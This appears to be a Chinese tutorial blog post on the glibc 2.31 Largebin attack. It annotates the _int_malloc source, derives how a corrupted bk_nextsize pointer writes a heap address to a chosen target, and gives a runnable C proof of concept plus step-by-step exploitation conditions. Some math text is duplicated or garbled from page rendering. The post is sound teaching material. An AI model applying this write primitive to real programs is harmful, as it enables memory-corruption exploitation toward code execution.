• Largebin Attack原理详解


    0x0 简介

    攻击成效:能够向任意地址写堆地址,常配合其他攻击手法实现 getshell

    条件:能够修改 L a r g e b i n − > b k \textcolor{orange}{Largebin->bk} Largebin>bk

    研究环境: G l i b c 2.31 \textcolor{green}{研究环境:Glibc2.31} 研究环境:Glibc2.31

    0x1 原理

    static void *
    _int_malloc (mstate av, size_t bytes)
    {
      ...
          if (!checked_request2size (bytes, &nb))
          {
              __set_errno (ENOMEM);
              return NULL;
          }    
      ...
          for (;; )
          {
              int iters = 0;
              // 如果unsortedbin不为空
              while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
              {
                  // victim是当前unsortedbin中的第一个块
                  bck = victim->bk;
                  size = chunksize (victim);
                  mchunkptr next = chunk_at_offset (victim, size);
    
                  ...
                      /* victim从unsortedbin中摘除 */
                      if (__glibc_unlikely (bck->fd != victim))
                          malloc_printerr ("malloc(): corrupted unsorted chunks 3");
                  unsorted_chunks (av)->bk = bck;
                  bck->fd = unsorted_chunks (av);
    
                  ...
                      /* place chunk in bin */
                      // 判断victim的大小是否属于smallbin
                      if (in_smallbin_range (size))
                      {
                          victim_index = smallbin_index (size);
                          bck = bin_at (av, victim_index);
                          fwd = bck->fd;
                      }
                  else
                  {
                      victim_index = largebin_index (size);
                      // bck是Largebin中的第一个chunk
                      bck = bin_at (av, victim_index);
                      //  在Largebin中只有一个块的时候,fwd指向的是Largebin链表头
                      fwd = bck->fd;
    
                      /* maintain large bins in sorted order */
                      // 如果largebin不为空,则维护largebin的顺序性(小到大)
                      if (fwd != bck)
                      {
                          /* Or with inuse bit to speed comparisons */
                          size |= PREV_INUSE;
                          /* if smaller than smallest, bypass loop below */
                          assert (chunk_main_arena (bck->bk));
                          /* 
                            chunksize_nomask(bck->bk)取得的是Largebinbin中第一个chunk的大小
    					  size则是的unsortedbin中第一个chunk的大小
    			  		*/
                          if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
                          {
                              fwd = bck;
                              bck = bck->bk;
    
                              victim->fd_nextsize = fwd->fd;
                              victim->bk_nextsize = fwd->fd->bk_nextsize;
                              fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                          }
                          else
                          {
                              ...
                          }
                      }
                      else
                          // 将victim视作largebin中的块
                          victim->fd_nextsize = victim->bk_nextsize = victim;
                  }
                  // 将victim放入相应的bin链表中
                  mark_bin (av, victim_index);
                  victim->bk = bck;
                  victim->fd = fwd;
                  fwd->bk = victim;
                  bck->fd = victim;
                  ...
              }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84

    以上代码片段是系统根据用户请求内存分配的大小对 unsortedbin 的操作,此时只要 Largebin不为空 @line:48,并且处于 unsortedbin中的块大小属于 Largebin的范畴同时还要小于 Largebin中的块大小,就会将 unsortedbin中的块链入Largebin 对应的链表中 @line:58@line:77并调整顺序。

    注意: L a r g e b i n 是以 f d _ n e x t s i z e 和 b k _ n e x t s i z e 组织成双向链表的。 \textcolor{green}{注意:Largebin是以 fd\_nextsize 和 bk\_nextsize组织成双向链表的。} 注意:Largebin是以fd_nextsizebk_nextsize组织成双向链表的。

    @line:60 开始就是关键操作,bckLargebin中的第一个块,记为 chunk1victimeunsortedbin中的第一个 块,记为 chunk2,假设攻击者之前已经修改成 c h u n k 1 − > b k _ n e x t s i z e = T a r g e t − 0 x 20 \textcolor{orange}{chunk1->bk\_nextsize=Target-0x20} chunk1>bk_nextsize=Target0x20,那么链入操作就变成了

    fwd = chunk1;
    bck = *(chunk1 + 0x18); // 在Largebin中只有一个块的时候,bck指向的是Largebin链表头
    *(chunk2 + 0x20) = *(chunk1 + 0x10); // 在Largebin中只有一个块的时候,chunk2 + 0x20指向的是Largebin链表头
    *(chunk2 + 0x28) = *(*(chunk1 + 0x10) + 0x28); // chunk2 + 0x28指向的是Target-0x20
    *(*(chunk1 +0x10) + 0x28) =  *(*(chunk2 + 0x28) + 0x20) = chunk2; // <=> *(Target-0x20+0x20) = chunk2; 
    
    • 1
    • 2
    • 3
    • 4
    • 5

    结果就是 Target指向的地址被写入了 chunk2的地址,这就是 Largebin attack的核心原理!

    0x2 概念验证

    为了直观的演示这个利用过程,我编写了如下概念验证的代码

    #include
    #include
    #include
    
    size_t g_Target = 0xABCDEF20220807;
    int main()
    {
        puts(" ========================================================================");
        puts("|                    Wellcome to the Largebin Attack                     |");
        puts(" ========================================================================");
        
        printf("\n[*] Info:\n");
        printf("[+] Target addr = %p, value: %lx\n",&g_Target,g_Target);
    
        char* large_chunk1 = (char*)malloc(0x450);
        char* pad1 = (char*)malloc(0x20);
        char* large_chunk2 = (char*)malloc(0x440);
        char* pad2 = (char*)malloc(0x20);
    
        printf(
            "[+] large_chunk1 addr = %p\n"
            "[+] pad1 addr = %p\n"
            "[+] large_chunk2 addr = %p\n"
            "[+] pad2 addr = %p\n",
            large_chunk1,
            pad1,
            large_chunk2,
            pad2);
        puts("--------------------------------------------------------------------------");
        puts("[*] Step1: Free large_chunk1 into largebin.\n");
        free(large_chunk1);
        char* pad3 = (char*)malloc(0x500);
        printf("[+] pad3 addr = %p",pad3);
    
        puts("--------------------------------------------------------------------------");
        puts("[*] Step2: Free large_chunk2 into unsortedbin.\n");
        free(large_chunk2);
    
        puts("--------------------------------------------------------------------------");
        puts("[*] Step3: Modify Largbin[0]->bk_nextsize = g_Target-0x20.\n");
        *(size_t*)(large_chunk1+0x18)=((size_t)&g_Target)-0x20;
        
        puts("--------------------------------------------------------------------------");
        puts("[*] Step4: Trigger largebin attack.\n");
        char* p1 = (char*)malloc(0x20);
    
        puts("--------------------------------------------------------------------------");
        printf("[*] Lookup: Target value = %lx\n",g_Target);
    
        return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51

    试着运行之后发现我们成功地完成了一次对 Target内存的Largebin attack!

    在这里插入图片描述

    0x3 总结

    现在总结一下Largebin attack的一些利用条件和步骤。

    【利用条件】:

    1. 能够修改 Largebin 中的块的 bk_nextsize 字段。
    2. 程序中至少能够分配三种属于 Largebin的不同大小的块。

    【利用步骤】:

    1. 分配一块大小 size1Largebin 范围内的块 chunk1
    2. 分配一块任意大小的块 pad1,主要防止在释放 chunk1 时系统将其与 top chunk合并。
    3. 分配一块大小 size2 在 Largebin 范围内的块 chunk2,要求 s i z e 2 < s i z e 1 \textcolor{orange}{size2size2<size1
    4. 分配一块任意大小的块 pad2,主要防止在释放 chunk2 时系统将其与 top chunk合并
    5. 释放 chunk1,此时系统会将其放入 unsortedbin;再分配一个 size3 的块,要求 s i z e 3 > s i z e 1 \textcolor{orange}{size3>size1} size3>size1,此时系统就会将 chunk1 放进 Largebin中。
    6. 释放 chunk2进入 unsortedbin
    7. 修改 c h u n k 1 − > b k _ n e x t s i z e   =   T a r g e t   −   0 x 20 \textcolor{orange}{chunk1->bk\_nextsize\ =\ Target\ -\ 0x20} chunk1>bk_nextsize = Target  0x20
    8. 随意分配一个大小的块,就会触发Largebin attack。
  • 相关阅读:
    FreeRTOS的学习(二)——队列的介绍和操作
    初识HashMap
    Spring Boot配置文件
    并发原理 — CPU原子性指令(一)
    第五十二章 开发自定义标签 - Using csr %CSP.AbstractAtom Write Methods
    ll、chmod 命令
    二、网络编程
    vue+echarts项目十二:使用webSocket优化项目:合并图表到一个页面并添加 切换主题和切换全屏功能
    初识C语言,新人介绍
    C++官网 Information Description of the C++ language
  • 原文地址:https://blog.csdn.net/qq_41252520/article/details/126211062